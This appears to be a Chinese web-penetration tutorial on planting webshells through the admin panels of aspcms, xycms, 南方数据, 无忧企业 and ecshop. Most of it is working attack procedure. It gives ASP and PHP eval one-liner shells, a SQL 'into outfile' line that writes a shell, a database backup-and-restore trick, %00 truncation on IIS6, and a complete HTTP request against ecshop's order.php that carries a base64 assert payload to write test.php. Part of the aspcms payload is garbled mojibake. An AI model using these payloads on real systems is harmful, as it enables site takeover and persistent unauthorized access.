第二节 aspcms后台、xycms后台、南方数据后台、无忧企业后台拿webshell

  插入asp文件拿webshell

  新建文件 webshell

  上传文件拿wenshell

  编辑html webshell

  备份数据库拿webshell

1. aspcms后台

  aspcms默认的数据库备份路径为data/#5Dp8Gh.asp,所以路径为http://www.aspcms.com/data/%235Dp8Gh.asp

  此时可以往数据库中插入编码一句话。因此来到扩展功能中的数据库备份中。

  首先将数据库马随便插入到管理中心的某篇文章的内容或者标题中,马为:

┼攠數畣整爠煥敵瑳∨≡┩愾   密码为a

然后备份数据库,接着再还原数据库,此时再访问http://www.aspcms.com/data/%235Dp8Gh.asp,里面就会出现ààDí2??¥??: ‘execute‘(在下面),说明插入成功。然后菜刀连接即可。

 

2. xycms后台

  配置文件拿webshell.一般asp的网站中,配置文件在/inc/config.asp中。

  进入后台后,点击系统设置,将特殊的一句话插入到里面

"%><%eval request("d")%><%s="

  闭合前面,也要闭合后面的符号,否则内容就会出错。

  

3. 南方数据后台(asp)

  其数据库备份是固定的,所以没法拿shell。

  在上传logo中,上传图片马,如果中间件为iis6.0,那么结合一下%00截断就行。

 

4. 无忧企业后台

  第一种方法: 添加新闻内容,然后插入图片马,然后将图片马的文件路径记录下来,然后转到数据库备份。如果路径是不可修改的,那么可以通过更改前端的代码使得其变成可输入。然后将当前的数据路径改成图片马的位置,然后备份的数据库名称也改成asp结尾的文件,这样就拿到webshell。

  如果数据库的路径更改后依旧没法备份,即路径是锁死的,那么可以尝试插入数据库一句话(即aspcms的插入方法)

  第二种方法: 配置文件插入

  第三种方法: 由于可以在配置文件的那一栏中更改文件的上传类型,所以可以改成php,然后直接传马即可

 

5. ecshop后台拿shell

  第一种方法: 后台有数据库管理,可以执行sql语句。如果后台有关键字拦截过滤就算。(不知道from/to_base64编码是否可以)

select <?php eval($_POST[cmd])?> into outfile E:/phpStudy/PHPTutorial/WWW/www.ecshop36.com/ecshop/moon.php

  其次是在数据库备份中,自定义时由于备份文件改名字后面会自动添加.sql后缀,如果搭建的环境是iis6.0,那么可以抓包使用%00截断,然后将数据库一句话插入进去即可。

  第二种方法: 代码执行拿webshell(原理待补充)

  访问/admin/order.php?act=edit_templates,抓包,在burpsuite中将传输的方法从get转成post,然后记得把转换后将act参数从post改成get,然后在结尾加上指定的马。数据包如下例所示:

 1 POST /admin/order.php?act=edit_templates HTTP/1.1
 2 Host: www.ecshop36.com
 3 Upgrade-Insecure-Requests: 1
 4 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
 6 Accept-Language: zh-CN,zh;q=0.9
 7 Cookie: ECS[history]=72; ECS_ID=bed16770fcef0b6457fd0420bf3a484ce2a1f137; ECS[visit_times]=3; ECSCP_ID=36cb3b117e1f9f05fd562c92f7ea372bdeb1e389
 8 Connection: close
 9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 18
11 
12 
13 
14 FCKeditor1={$u‘];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==‘)); //_var[‘}<?

 

  生成的为test.php,密码为a。上传成功后,在订单列表里面随便找个订单然后打印订单,随后木马生成,即可用菜刀连接:/admin/test.php。

 

第二节 aspcms后台、xycms后台、南方数据后台、无忧企业后台拿webshell

上一篇:js 时间


下一篇:js小方法